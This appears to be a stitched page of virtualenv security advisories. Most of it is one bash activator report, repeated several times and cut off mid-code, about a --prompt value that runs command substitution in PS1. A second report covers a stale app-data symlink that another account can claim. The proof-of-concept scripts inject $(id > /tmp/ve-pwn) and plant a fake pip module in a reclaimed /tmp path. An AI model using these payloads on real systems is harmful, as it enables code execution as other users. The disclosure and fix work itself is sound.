virtualenv

Summary

The bash activator puts the caller-supplied prompt value into PS1 unescaped whenever promptvars is off at activation time, and assumes prompt expansion can never run afterwards. promptvars and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (shopt -s promptvars, set -o posix) or starting an interactive child bash that inherits the exported PS1 makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources bin/activate.

This is a regression. 21.14.8 escaped $ and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever promptvars is off.

Affected area

Activation scripts (activate, activate.bat, activate.csh, activate.fish, activate.nu, Activate.ps1, activate.xsh) — specifically the bash bin/activate.

Attacker-controlled input

The --prompt value, which the security policy already lists as a value that may come from project metadata the user did not write. It reaches virtualenv as --prompt on the command line or as the prompt argument of the API, is written into bin/activate as the literal VIRTUAL_ENV_PROMPT assignment (correctly quoted, the value arrives there as data), and the script then copies it into PS1 without escaping $ or the backtick.

Example: a repository or tool config supplies a prompt such as x$(id > /tmp/ve-pwn)y; the victim creates and later activates the environment.

Details

Source of the latest release: src/virtualenv/activation/bash/activate.sh lines 140-160

if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] &&
    { [ -n "${BASH_VERSION-}" ] || [ -n "${ZSH_VERSION-}" ]; }; then
    _OLD_VIRTUAL_PS1="${PS1-}"
    # bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a
    # reference to the variable and its value never reaches that expansion; otherwise only the decode runs and
    # backslashes need doubling. ...
    if [ -n "${BASH_VERSION-}" ] && { shopt -q promptvars || shopt -qo posix; }; then
        PS1='(${VIRTUAL_ENV_PROMPT-}) '"${PS1-}"
    else
        _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
        if [ -n "${ZSH_VERSION-}" ]; then
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
        fi
        PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"
        unset _VIRTUAL_PROMPT
    fi
fi

Two separate mistakes combine:

1. A runtime shell option is treated as a constant. shopt -u promptvars at the moment of source does not bind the shell forever: shopt -s promptvars and set -o posix both re-enable PS1 expansion in the same shell. The code itself tests shopt -qo posix because posix mode expands the prompt regardless of promptvars, which shows the expansion state is not fixed by the activation.
2. The escaping that would keep the value inert in that mode is missing for bash. GHSA-5vjq-rrrf-7h2q ("activate runs commands from the environment name in zsh with PROMPT_SUBST") fixed exactly this shape for zsh, reasoning that "a user can set it after activation", by escaping $ and the backtick. Bash lost the equivalent escaping in the same commit that added the zsh branch.

The rendered prompt shows the regression directly:

21.14.8   PS1 = (x\\$(id > /tmp/ve-pwn)y)       <- escaped, inert
21.14.9   PS1 = (x$(id > /tmp/ve-pwn)y)         <- raw value
21.14.12  PS1 = (x$(id > /tmp/ve-pwn)y)         <- raw value

Relevant commit: 5f48d711 "fix(bash): preserve literal prompts in supported shells (#3418)", which removed the unconditional $/backtick escaping from the bash path. Advisory for that change: GHSA-6w3r-xr62-4xcp.

Proof of concept

Non-destructive payload: it runs id and writes the output to a file.

python -m virtualenv --no-seed --no-periodic-update --activators bash \
    --prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-demo

cat > /tmp/rc <<'EOF'
shopt -u promptvars
. /tmp/venv-demo/bin/activate
shopt -s promptvars
EOF

# the prompt needs a tty; script(1) provides one
printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null

cat /tmp/ve-pwn

Observed on 21.14.12:

$ cat /tmp/ve-pwn
uid=1000(asrun) gid=1000(asrun) groups=1000(asrun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),999(ollama)

The prompt printed as (xy). The same script against 21.14.8 creates no file; against 21.14.9 and 21.14.12 it does.

Triggers, all run in a pty, activation itself never executing anything; execution happens at the next prompt redraw after prompt expansion is enabled:

| After . bin/activate (activated with shopt -u promptvars) | 21.14.8 | 21.14.9 | 21.14.12 | | --- | --- | --- | --- | | shopt -s promptvars | inert | executes | executes | | set -o posix | inert | executes | executes | | export PS1, then start an interactive child bash (its promptvars defaults to on) | inert | executes | executes | | control: activation with default options | inert | inert | inert | | control: activation with set -o posix already on | inert | inert | inert |

The third trigger needs no explicit option change: the poisoned PS1 is inherited and the child bash expands it on its first prompt.

shopt -u promptvars is a documented way to make an expensive bash prompt cheap and appears in ~/.bashrc files for that reason; it is also the state left by some prompt wrappers. Whoever sources such an environment gets the unescaped value in PS1.

Impact

Command execution as the user who sources bin/activate, from a value the user may not have written (project metadata or tool config reaching --prompt). The value is also persisted in pyvenv.cfg and in the generated script, so it survives the activation that created it and fires later, in a different shell session, on the first prompt redraw with expansion enabled. No privilege elevation beyond the activating user.

Severity: high, matching GHSA-5vjq-rrrf-7h2q for the same class of prompt-expansion command injection reached by toggling a shell option after activation. If you consider the promptvars state a caller-controlled condition rather than a shell condition, this is medium; the fix is the same either way.

Versions tested

virtualenv 21.14.12 and 21.14.9 (affected), virtualenv 21.14.8 (unaffected control); CPython 3.14.7; Linux 6.x (WSL2); bash 5.1.16(1)-release. --prompt handling is platform independent; zsh/fish/csh/nu/PowerShell activators were not part of this report.

Known mitigation

For a user: activate with promptvars left at its default, or set VIRTUAL_ENV_DISABLE_PROMPT=1 before activating, which skips the whole prompt block. Do not pass an untrusted value to --prompt.

Fix in the activator: escape $ and the backtick for bash as well, in both branches, with a single backslash ($ -> \$, backtick -> \` , \ -> \\). Verified on bash 5.1.16 that a PS1 built that way is inert with promptvars on, with promptvars off, and with promptvars off followed by posix mode, while still rendering the literal value on screen. That is better than both current shapes: 21.14.8's four-level escaping left stray backslashes on screen, which is why the block was rewritten.

    else
        _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
        _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
        _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
        if [ -n "${ZSH_VERSION-}" ]; then
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
        fi
        PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"

For the tests, tests/unit/activation/test_bash.py::test_bash_prompt_options already parametrises ("before", "after", "expected") and covers before="shopt -u promptvars" with after="". The missing axis is the transition: ("shopt -u promptvars", "shopt -s promptvars", ...) and ("shopt -u promptvars", "set -o posix", ...), with the existing PWNED check asserting no file was created.

Latest release

• [x] The problem reproduces on the latest virtualenv release.

Summary

The bash activator puts the caller-supplied prompt value into PS1 unescaped whenever promptvars is off at activation time, and assumes prompt expansion can never run afterwards. promptvars and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (shopt -s promptvars, set -o posix) or starting an interactive child bash that inherits the exported PS1 makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources bin/activate.

This is a regression. 21.14.8 escaped $ and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever promptvars is off.

Affected area

Activation scripts (activate, activate.bat, activate.csh, activate.fish, activate.nu, Activate.ps1, activate.xsh) — specifically the bash bin/activate.

Attacker-controlled input

The --prompt value, which the security policy already lists as a value that may come from project metadata the user did not write. It reaches virtualenv as --prompt on the command line or as the prompt argument of the API, is written into bin/activate as the literal VIRTUAL_ENV_PROMPT assignment (correctly quoted, the value arrives there as data), and the script then copies it into PS1 without escaping $ or the backtick.

Example: a repository or tool config supplies a prompt such as x$(id > /tmp/ve-pwn)y; the victim creates and later activates the environment.

Details

Source of the latest release: src/virtualenv/activation/bash/activate.sh lines 140-160

if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] &&
    { [ -n "${BASH_VERSION-}" ] || [ -n "${ZSH_VERSION-}" ]; }; then
    _OLD_VIRTUAL_PS1="${PS1-}"
    # bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a
    # reference to the variable and its value never reaches that expansion; otherwise only the decode runs and
    # backslashes need doubling. ...
    if [ -n "${BASH_VERSION-}" ] && { shopt -q promptvars || shopt -qo posix; }; then
        PS1='(${VIRTUAL_ENV_PROMPT-}) '"${PS1-}"
    else
        _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
        if [ -n "${ZSH_VERSION-}" ]; then
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
        fi
        PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"
        unset _VIRTUAL_PROMPT
    fi
fi

Two separate mistakes combine:

1. A runtime shell option is treated as a constant. shopt -u promptvars at the moment of source does not bind the shell forever: shopt -s promptvars and set -o posix both re-enable PS1 expansion in the same shell. The code itself tests shopt -qo posix because posix mode expands the prompt regardless of promptvars, which shows the expansion state is not fixed by the activation.
2. The escaping that would keep the value inert in that mode is missing for bash. GHSA-5vjq-rrrf-7h2q ("activate runs commands from the environment name in zsh with PROMPT_SUBST") fixed exactly this shape for zsh, reasoning that "a user can set it after activation", by escaping $ and the backtick. Bash lost the equivalent escaping in the same commit that added the zsh branch.

The rendered prompt shows the regression directly:

21.14.8   PS1 = (x\\$(id > /tmp/ve-pwn)y)       <- escaped, inert
21.14.9   PS1 = (x$(id > /tmp/ve-pwn)y)         <- raw value
21.14.12  PS1 = (x$(id > /tmp/ve-pwn)y)         <- raw value

Relevant commit: 5f48d711 "fix(bash): preserve literal prompts in supported shells (#3418)", which removed the unconditional $/backtick escaping from the bash path. Advisory for that change: GHSA-6w3r-xr62-4xcp.

Proof of concept

Non-destructive payload: it runs id and writes the output to a file.

python -m virtualenv --no-seed --no-periodic-update --activators bash \
    --prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-demo

cat > /tmp/rc <<'EOF'
shopt -u promptvars
. /tmp/venv-demo/bin/activate
shopt -s promptvars
EOF

# the prompt needs a tty; script(1) provides one
printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null

cat /tmp/ve-pwn

Observed on 21.14.12:

$ cat /tmp/ve-pwn
uid=1000(asrun) gid=1000(asrun) groups=1000(asrun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),999(ollama)

The prompt printed as (xy). The same script against 21.14.8 creates no file; against 21.14.9 and 21.14.12 it does.

Triggers, all run in a pty, activation itself never executing anything; execution happens at the next prompt redraw after prompt expansion is enabled:

| After . bin/activate (activated with shopt -u promptvars) | 21.14.8 | 21.14.9 | 21.14.12 | | --- | --- | --- | --- | | shopt -s promptvars | inert | executes | executes | | set -o posix | inert | executes | executes | | export PS1, then start an interactive child bash (its promptvars defaults to on) | inert | executes | executes | | control: activation with default options | inert | inert | inert | | control: activation with set -o posix already on | inert | inert | inert |

The third trigger needs no explicit option change: the poisoned PS1 is inherited and the child bash expands it on its first prompt.

shopt -u promptvars is a documented way to make an expensive bash prompt cheap and appears in ~/.bashrc files for that reason; it is also the state left by some prompt wrappers. Whoever sources such an environment gets the unescaped value in PS1.

Impact

Command execution as the user who sources bin/activate, from a value the user may not have written (project metadata or tool config reaching --prompt). The value is also persisted in pyvenv.cfg and in the generated script, so it survives the activation that created it and fires later, in a different shell session, on the first prompt redraw with expansion enabled. No privilege elevation beyond the activating user.

Severity: high, matching GHSA-5vjq-rrrf-7h2q for the same class of prompt-expansion command injection reached by toggling a shell option after activation. If you consider the promptvars state a caller-controlled condition rather than a shell condition, this is medium; the fix is the same either way.

Versions tested

virtualenv 21.14.12 and 21.14.9 (affected), virtualenv 21.14.8 (unaffected control); CPython 3.14.7; Linux 6.x (WSL2); bash 5.1.16(1)-release. --prompt handling is platform independent; zsh/fish/csh/nu/PowerShell activators were not part of this report.

Known mitigation

For a user: activate with promptvars left at its default, or set VIRTUAL_ENV_DISABLE_PROMPT=1 before activating, which skips the whole prompt block. Do not pass an untrusted value to --prompt.

Fix in the activator: escape $ and the backtick for bash as well, in both branches, with a single backslash ($ -> \$, backtick -> \` , \ -> \\). Verified on bash 5.1.16 that a PS1 built that way is inert with promptvars on, with promptvars off, and with promptvars off followed by posix mode, while still rendering the literal value on screen. That is better than both current shapes: 21.14.8's four-level escaping left stray backslashes on screen, which is why the block was rewritten.

    else
        _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
        _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
        _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
        if [ -n "${ZSH_VERSION-}" ]; then
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
        fi
        PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"

For the tests, tests/unit/activation/test_bash.py::test_bash_prompt_options already parametrises ("before", "after", "expected") and covers before="shopt -u promptvars" with after="". The missing axis is the transition: ("shopt -u promptvars", "shopt -s promptvars", ...) and ("shopt -u promptvars", "set -o posix", ...), with the existing PWNED check asserting no file was created.

Latest release

• [x] The problem reproduces on the latest virtualenv release.

Summary

The bash activator puts the caller-supplied prompt value into PS1 unescaped whenever promptvars is off at activation time, and assumes prompt expansion can never run afterwards. promptvars and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (shopt -s promptvars, set -o posix) or starting an interactive child bash that inherits the exported PS1 makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources bin/activate.

This is a regression. 21.14.8 escaped $ and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever promptvars is off.

Affected area

Activation scripts (activate, activate.bat, activate.csh, activate.fish, activate.nu, Activate.ps1, activate.xsh) — specifically the bash bin/activate.

Attacker-controlled input

The --prompt value, which the security policy already lists as a value that may come from project metadata the user did not write. It reaches virtualenv as --prompt on the command line or as the prompt argument of the API, is written into bin/activate as the literal VIRTUAL_ENV_PROMPT assignment (correctly quoted, the value arrives there as data), and the script then copies it into PS1 without escaping $ or the backtick.

Example: a repository or tool config supplies a prompt such as x$(id > /tmp/ve-pwn)y; the victim creates and later activates the environment.

Details

Source of the latest release: src/virtualenv/activation/bash/activate.sh lines 140-160

if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] &&
    { [ -n "${BASH_VERSION-}" ] || [ -n "${ZSH_VERSION-}" ]; }; then
    _OLD_VIRTUAL_PS1="${PS1-}"
    # bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a
    # reference to the variable and its value never reaches that expansion; otherwise only the decode runs and
    # backslashes need doubling. ...
    if [ -n "${BASH_VERSION-}" ] && { shopt -q promptvars || shopt -qo posix; }; then
        PS1='(${VIRTUAL_ENV_PROMPT-}) '"${PS1-}"
    else
        _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
        if [ -n "${ZSH_VERSION-}" ]; then
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
        fi
        PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"
        unset _VIRTUAL_PROMPT
    fi
fi

Two separate mistakes combine:

1. A runtime shell option is treated as a constant. shopt -u promptvars at the moment of source does not bind the shell forever: shopt -s promptvars and set -o posix both re-enable PS1 expansion in the same shell. The code itself tests shopt -qo posix because posix mode expands the prompt regardless of promptvars, which shows the expansion state is not fixed by the activation.
2. The escaping that would keep the value inert in that mode is missing for bash. GHSA-5vjq-rrrf-7h2q ("activate runs commands from the environment name in zsh with PROMPT_SUBST") fixed exactly this shape for zsh, reasoning that "a user can set it after activation", by escaping $ and the backtick. Bash lost the equivalent escaping in the same commit that added the zsh branch.

The rendered prompt shows the regression directly:

21.14.8   PS1 = (x\\$(id > /tmp/ve-pwn)y)       <- escaped, inert
21.14.9   PS1 = (x$(id > /tmp/ve-pwn)y)         <- raw value
21.14.12  PS1 = (x$(id > /tmp/ve-pwn)y)         <- raw value

Relevant commit: 5f48d711 "fix(bash): preserve literal prompts in supported shells (#3418)", which removed the unconditional $/backtick escaping from the bash path. Advisory for that change: GHSA-6w3r-xr62-4xcp.

Proof of concept

Non-destructive payload: it runs id and writes the output to a file.

python -m virtualenv --no-seed --no-periodic-update --activators bash \
    --prompt 'x$(id > /tmp/ve-pwn)y' /tmp/venv-demo

cat > /tmp/rc <<'EOF'
shopt -u promptvars
. /tmp/venv-demo/bin/activate
shopt -s promptvars
EOF

# the prompt needs a tty; script(1) provides one
printf 'exit\n' | script -qec 'bash --noprofile --rcfile /tmp/rc -i' /dev/null

cat /tmp/ve-pwn

Observed on 21.14.12:

$ cat /tmp/ve-pwn
uid=1000(asrun) gid=1000(asrun) groups=1000(asrun),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),999(ollama)

The prompt printed as (xy). The same script against 21.14.8 creates no file; against 21.14.9 and 21.14.12 it does.

Triggers, all run in a pty, activation itself never executing anything; execution happens at the next prompt redraw after prompt expansion is enabled:

| After . bin/activate (activated with shopt -u promptvars) | 21.14.8 | 21.14.9 | 21.14.12 | | --- | --- | --- | --- | | shopt -s promptvars | inert | executes | executes | | set -o posix | inert | executes | executes | | export PS1, then start an interactive child bash (its promptvars defaults to on) | inert | executes | executes | | control: activation with default options | inert | inert | inert | | control: activation with set -o posix already on | inert | inert | inert |

The third trigger needs no explicit option change: the poisoned PS1 is inherited and the child bash expands it on its first prompt.

shopt -u promptvars is a documented way to make an expensive bash prompt cheap and appears in ~/.bashrc files for that reason; it is also the state left by some prompt wrappers. Whoever sources such an environment gets the unescaped value in PS1.

Impact

Command execution as the user who sources bin/activate, from a value the user may not have written (project metadata or tool config reaching --prompt). The value is also persisted in pyvenv.cfg and in the generated script, so it survives the activation that created it and fires later, in a different shell session, on the first prompt redraw with expansion enabled. No privilege elevation beyond the activating user.

Severity: high, matching GHSA-5vjq-rrrf-7h2q for the same class of prompt-expansion command injection reached by toggling a shell option after activation. If you consider the promptvars state a caller-controlled condition rather than a shell condition, this is medium; the fix is the same either way.

Versions tested

virtualenv 21.14.12 and 21.14.9 (affected), virtualenv 21.14.8 (unaffected control); CPython 3.14.7; Linux 6.x (WSL2); bash 5.1.16(1)-release. --prompt handling is platform independent; zsh/fish/csh/nu/PowerShell activators were not part of this report.

Known mitigation

For a user: activate with promptvars left at its default, or set VIRTUAL_ENV_DISABLE_PROMPT=1 before activating, which skips the whole prompt block. Do not pass an untrusted value to --prompt.

Fix in the activator: escape $ and the backtick for bash as well, in both branches, with a single backslash ($ -> \$, backtick -> \` , \ -> \\). Verified on bash 5.1.16 that a PS1 built that way is inert with promptvars on, with promptvars off, and with promptvars off followed by posix mode, while still rendering the literal value on screen. That is better than both current shapes: 21.14.8's four-level escaping left stray backslashes on screen, which is why the block was rewritten.

    else
        _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
        _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
        _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
        if [ -n "${ZSH_VERSION-}" ]; then
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
        fi
        PS1="(${_VIRTUAL_PROMPT}) ${PS1-}"

For the tests, tests/unit/activation/test_bash.py::test_bash_prompt_options already parametrises ("before", "after", "expected") and covers before="shopt -u promptvars" with after="". The missing axis is the transition: ("shopt -u promptvars", "shopt -s promptvars", ...) and ("shopt -u promptvars", "set -o posix", ...), with the existing PWNED check asserting no file was created.

Latest release

• [x] The problem reproduces on the latest virtualenv release.

Summary

The app-data seeder can leave an environment linked to temporary package files that virtualenv deletes when creation finishes. The environment-variable and configuration-file forms of symlink_app_data can enable this state even though the command-line flag is disabled for temporary app-data. The resulting environment depends on a cache pathname that its owner no longer controls.

Anthropic's OSS Scanner reported this as ANT-2026-ZOE2GEPC in virtualenv-20261015-005, received on 15 October 2026. This draft records source review and functional remediation checks. The reporter's cross-account code-execution claim has not been independently reproduced.

Affected area

Integrity of app-data references after temporary cache cleanup.

Attacker-controlled input

Symlink seeding must be enabled through VIRTUALENV_SYMLINK_APP_DATA or symlink_app_data in the configuration file, and app-data setup must fall back to a temporary directory. A missing or unwritable configured cache can cause that fallback. Ordinary copy seeding does not leave these references.

The security concern requires a shared temporary-directory parent where another account can acquire the deleted cache pathname, followed by use of the affected environment. That account need not already be able to modify the environment or the private cache while it exists. This differs from the security policy's excluded case of an account that already controls live app-data contents. On a platform with a temporary-directory parent private to the environment owner, that cross-account condition is absent. Windows functional checks do not establish cross-account exposure under Windows defaults.

Affected code

The relevant 21.14.8 source is in symlink seeder, temporary cache cleanup.

Mechanism

When app-data setup falls back to a temporary directory, the command-line --symlink-app-data action is disabled. A value supplied by VIRTUALENV_SYMLINK_APP_DATA or virtualenv.ini can still become the parser default, and the seeder constructor accepts that value without rechecking the cache lifetime. It links site-packages/pip into the temporary cache. Session cleanup deletes that cache, leaving a dangling link whose pathname can later be claimed by another account on a shared temporary filesystem.

Reproduction and evidence

The scanner ran its reproduction as two unprivileged users, with root used only to switch identities. The environment owner had an unwritable home, so app-data fell back to /tmp. The control used the command-line flag and received a real pip directory. With VIRTUALENV_SYMLINK_APP_DATA=1, the new environment instead contained a pip link into a deleted /tmp/tmpXXXXXXXX directory. A second uid recreated the target path and placed a fake pip/__init__.py there. When the owner ran venv/bin/pip --version, that module created a marker inside the owner's environment and printed this is not pip.

The cross-account path requires a shared temporary parent, a second account able to claim the deleted name, and later use of the environment. A private temporary parent removes that route. The report traces the incomplete temporary-cache guard to #1661, first released in 20.0.6. Public fix PR #3437 copies packages whenever app-data is temporary, whatever supplied the symlink option. The implementation review checked the remediation; it did not rerun the cross-account reproduction.

Attack sequence

sequenceDiagram
    participant U as Environment owner
    participant V as virtualenv seeder
    participant T as Temporary app-data in /tmp
    participant E as site-packages/pip link
    participant A as Other local account
    U->>V: VIRTUALENV_SYMLINK_APP_DATA=1 with unwritable home
    V->>T: create transient cache
    V->>E: link pip to cache path
    V->>T: delete cache at session exit
    A->>T: reclaim old name and plant fake pip
    U->>E: run bin/pip --version
    E->>T: import fake pip through stale link
    T-->>U: attacker's code runs as owner

Reproducer files

The following files are from the scanner report for ANT-2026-ZOE2GEPC. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import pwd
import shutil
import subprocess
from pathlib import Path

owner = pwd.getpwnam("nobody")  # home is /nonexistent: app-data cannot be created, so virtualenv uses a temporary one
other_user_uid = 4242
project = Path("/srv/project")
other_user_files = Path("/var/tmp/other-user")

# set up: a project folder only the owner can write, and the other user's two files in a folder of their own
shutil.rmtree(project, ignore_errors=True)
shutil.rmtree(other_user_files, ignore_errors=True)
project.mkdir(mode=0o755)
os.chown(project, owner.pw_uid, owner.pw_gid)
shutil.copytree("/tmp/repro.d", other_user_files)
subprocess.run(["chown", "-R", f"{other_user_uid}:{other_user_uid}", other_user_files], check=True)

as_owner = {"user": owner.pw_uid, "group": owner.pw_gid, "extra_groups": [], "cwd": project}
as_other_user = {"user": other_user_uid, "group": other_user_uid, "extra_groups": [], "cwd": "/"}
owner_env = {"HOME": owner.pw_dir, "PATH": os.environ["PATH"]}
virtualenv = ["virtualenv", "--quiet", "--no-periodic-update"]

# control: --symlink-app-data on the command line is dropped while app-data is temporary, so pip is copied
subprocess.run([*virtualenv, "--symlink-app-data", "control"], env=owner_env, check=True, **as_owner)
control_pip = next(project.glob("control/lib/python*/site-packages/pip"))
print(f"CONTROL  --symlink-app-data:            {control_pip} is a symlink: {control_pip.is_symlink()}")

# trigger: the same setting through the environment variable
symlink_env = {**owner_env, "VIRTUALENV_SYMLINK_APP_DATA": "1"}
subprocess.run([*virtualenv, "venv"], env=symlink_env, check=True, **as_owner)
venv_pip = next(project.glob("venv/lib/python*/site-packages/pip"))
print(f"OBSERVED VIRTUALENV_SYMLINK_APP_DATA=1: {venv_pip} is a symlink: {venv_pip.is_symlink()}")

# attack: the other user re-creates the deleted folder the link points into
if venv_pip.is_symlink():
    print(f"OBSERVED it points to {os.readlink(venv_pip)}, which exists: {venv_pip.exists()}")
    subprocess.run(["python3", other_user_files / "plant_fake_pip.py", venv_pip], check=True, **as_other_user)

# the owner uses their environment
pip_version = subprocess.run([project / "venv/bin/pip", "--version"], env=owner_env, capture_output=True, text=True, **as_owner)
print(f"OBSERVED venv/bin/pip --version, run by uid {owner.pw_uid}, printed: {(pip_version.stdout + pip_version.stderr).strip()}")

# check: fake_pip.py writes this file into the environment folder, which uid 4242 cannot write
venv_stat = os.stat(project / "venv")
print(f"OBSERVED {project / 'venv'} has mode {oct(venv_stat.st_mode & 0o777)} and owner uid {venv_stat.st_uid}")
proof = project / "venv/attacker-code-ran"
print(f"OBSERVED {proof} exists: {proof.exists()}")
if proof.exists():
    print(f"OBSERVED it is owned by uid {proof.stat().st_uid} and says: {proof.read_text()}")
print("BUG" if proof.exists() and proof.stat().st_uid == owner.pw_uid else "OK")

repro.d/fake_pip.py

# planted as pip/__init__.py: runs in whichever process imports pip
import os
import sys

with open(os.path.join(sys.prefix, "attacker-code-ran"), "w") as proof:
    proof.write(f"{os.path.realpath(__file__)}, owned by uid {os.stat(__file__).st_uid}, was imported by uid {os.getuid()}")

sys.exit("this is not pip")

repro.d/plant_fake_pip.py

import os
import shutil
import sys
from pathlib import Path

dangling_link = sys.argv[1]  # the environment is world-readable, so anyone can read where its links go
deleted_folder = Path(os.readlink(dangling_link))

# virtualenv deleted /tmp/tmpXXXXXXXX when it exited, so the name is free for anyone to take
deleted_folder.mkdir(parents=True)
shutil.copy(Path(__file__).with_name("fake_pip.py"), deleted_folder / "__init__.py")

Impact

Seed packages become unavailable after temporary-cache cleanup. With a shared temporary-directory parent, a later package load can follow the stale cache reference into a pathname another account has acquired. A private temporary-directory parent prevents that cross-account condition.

Severity: low.

Versions tested

The reproduced release is 21.14.8. The vulnerable seeder path is unchanged in 21.14.9. The affected range starts at 21.14.8, the first release confirmed here; earlier releases may also be affected. No fixed release is available.

The reporter identifies 20.0.6 as the first affected release. Commit c3453b6c, first included in 20.0.6, contains the incomplete transient-cache guard. Historical runtime behavior across that range remains unverified.

The proposed fix copies seed packages whenever app-data is temporary, including when symlink seeding was selected through environment variables or configuration. The environment then remains usable after cache cleanup.

Proposed fix: PR #3437.

Known mitigation

The proposed fix is in public PR #3437.

The fix checks the selected app-data lifetime in the seeder constructor and always copies from temporary app-data, regardless of where the symlink option came from. Persistent caches retain symlink seeding.

Until a fixed release is available, disable symlink seeding in configuration and environment variables, or provide a writable persistent cache private to the environment owner. Recreate affected environments after correcting those settings. No fixed release is available yet.

Affected release

• [x] The problem reproduces on virtualenv 21.14.8. The same vulnerable code remains in 21.14.9.

Credits

Reported by Anthropic's OSS Scanner as ANT-2026-ZOE2GEPC.

Summary

The bash activator puts the caller-supplied prompt value into PS1 unescaped whenever promptvars is off at activation time, and assumes prompt expansion can never run afterwards. promptvars and posix mode are runtime shell state, not a property of the activation moment: re-enabling prompt expansion in the same shell (shopt -s promptvars, set -o posix) or starting an interactive child bash that inherits the exported PS1 makes bash expand the stored value and run the command substitution in it. An attacker who controls the prompt value gets command execution as the user who sources bin/activate.

This is a regression. 21.14.8 escaped $ and the backtick unconditionally and stays inert under the same sequence. The 21.14.9 fix for GHSA-6w3r-xr62-4xcp (#3418) rewrote that block and left bash with a path that stores the raw value whenever promptvars is off.

Affected area

Activation scripts (activate, activate.bat, activate.csh, activate.fish, activate.nu, Activate.ps1, activate.xsh) — specifically the bash bin/activate.

Attacker-controlled input

The --prompt value, which the security policy already lists as a value that may come from project metadata the user did not write. It reaches virtualenv as --prompt on the command line or as the prompt argument of the API, is written into bin/activate as the literal VIRTUAL_ENV_PROMPT assignment (correctly quoted, the value arrives there as data), and the script then copies it into PS1 without escaping $ or the backtick.

Example: a repository or tool config supplies a prompt such as x$(id > /tmp/ve-pwn)y; the victim creates and later activates the environment.

Details

Source of the latest release: src/virtualenv/activation/bash/activate.sh lines 140-160

if [ -z "${VIRTUAL_ENV_DISABLE_PROMPT-}" ] &&
    { [ -n "${BASH_VERSION-}" ] || [ -n "${ZSH_VERSION-}" ]; }; then
    _OLD_VIRTUAL_PS1="${PS1-}"
    # bash expands PS1 after decoding its prompt escapes when promptvars is on or in posix mode, so the prompt holds a
    # reference to the variable and its value never reaches that expansion; otherwise only the decode runs and
    # backslashes need doubling. ...
    if [ -n "${BASH_VERSION-}" ] && { shopt -q promptvars || shopt -qo posix; }; then
        PS1='(${VIRTUAL_ENV_PROMPT-}) '"${PS1-}"
    else
        _VIRTUAL_PROMPT="${VIRTUAL_ENV_PROMPT//\\/\\\\}"
        if [ -n "${ZSH_VERSION-}" ]; then
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\$/\\\$}"
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\`/\\\`}"
            _VIRTUAL_PROMPT="${_VIRTUAL_PROMPT//\%/%%}"
        fi
